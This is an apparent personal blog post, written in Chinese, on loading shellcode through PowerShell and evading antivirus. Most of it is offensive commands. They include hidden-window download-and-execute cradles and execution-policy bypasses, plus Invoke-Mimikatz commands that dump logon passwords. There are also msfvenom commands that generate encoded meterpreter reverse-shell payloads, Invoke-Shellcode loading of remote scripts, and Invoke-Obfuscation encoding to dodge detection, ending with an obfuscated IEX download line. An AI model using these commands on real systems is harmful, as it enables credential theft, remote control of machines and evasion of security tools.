powershell加载shellcode

简介

总所周知,powershell 是windows 最强大的后门,现在就尝试使用这个后门进行加载shellcode

powershell 记载shellcde 可以分为两种方式,第一个方式就是无文件落地的方式,内存加载
第二种方式就是使用先下载到本地文件,然后再加载

前情提要

远程加载

1
cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-ob ject system.net.webclient).downloadfile('http://127.0.0.1:8089','notepad.exe');start-process notepad.exe

本地执行

  1. 先将文件下载到本地
  2. 然后使用
    1
    powershell Import-Module .\Invoke-Mimikatz.ps1
  3. 然后使用命令
    1
    Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'

执行策略

powershell 默认的执行策略是不允许执行脚本的,只有设置成高权限才行或者是使用bypass

下面简单介绍一下具体的有哪些权限

所有执行策略

Unrestricted 权限最高,可以不受限制执行任意脚本
Restricted 默认策略,不允许任意脚本的执行
AllSigned 所有脚本必须经过签名运行
RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名
Bypass 没有任何限制和提示
Undefined 没有设置脚本的策略

绕过执行策略

有管理远权限直接设置

1
2
powershell.exe Set-ExecutionPolicy Unrestricted   

本地读取然后通过管道符进行加载

1
powershell Get-Content 1.ps1 | powershell -NoProfile -

远程下载并通过IEX运行脚本

1
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://ip/ps/a.ps1')"

Bypass执行策略绕过

1
powershell -ExecutionPolicy bypass -File ./a.ps1

不会有任何提示信息

Unrestricted执行策略标志

这个方式和第一个方式一样,本质一样

但是这个方式,如果加载没有被签名的脚本可能会被提醒

1
powershell -ExecutionPolicy unrestricted -File ./a.ps1

powershell

直接使用msf powershell 脚本

  1. 版本1

    1
    msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.79.137  lport=24401 -f psh -o 24401.ps1

    然后直接使用windows 进行加载
    文件落地直接被杀
    如果发现没有被杀,可以试试

    1
    powershell.exe -ExecutionPolicy Bypass -NoExit -File shell.ps1
  2. 版本2

    1
    msfvenom -p windows/x64/meterpreter/reverse_https -e x86/shikata_ga_nai -i 15 -b '\x00' lhost=10.211.55.2 lport=3333 -f psh -o shell.ps1

Invoke-Shellcode

可以使用invoke-shellcode 的方式进行加载
本质就是一个shellcode 加载器

先创建一个反向的shellcode

具体的命令可以是

1
2
3
4
5
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1") 

IEX(New-Object Net.WebClient).DownloadString("http://10.211.55.2/shell.ps1")

Invoke-Shellcode -Shellcode ($buf) -Force 运行木马

除了直接加载还可以加载dll

Powershell tricksCode Execution & Process Injection | CN-SEC 中文网

Invoke-Obfuscation对ps1免杀

powershell的免杀方法有很多,对代码进行编码是最常见的一种,这里介绍一个专门用来对powershell进行编码免杀的框架Invoke-Obfuscation,这也是著名的APT32组织海莲花常用的一个工具。

Invoke-Obfuscation主要是对ps1脚本进行免杀,所以这里还是需要现有一个ps的payload,我还是用法1的msf生成的payload。

可以先将工具下载下来
有两种方式,可以是内存加载,无文件落地,或者是可以使用git cone先保存到本地

1
git clone https://github.com/danielbohannon/Invoke-Obfuscation

然后执行

1
Import-Module .\Invoke-Obfuscation.psd1; Invoke-Obfuscation

image.png

这个是加载之后的样子

尝试将shellcode j进行编码
image.png

然后输入encoding

然后选择编码方式
然后输入方法
image.png
然后输入out path就可以导出
image.png

然后就可以尝试进行加载

1
powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://10.211.55.2/shell.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"

powershell加载shellcode
https://tsy244.github.io/2024/10/26/免杀/powershell加载shellcode/
Author
August Rosenberg
Posted on
October 26, 2024
Licensed under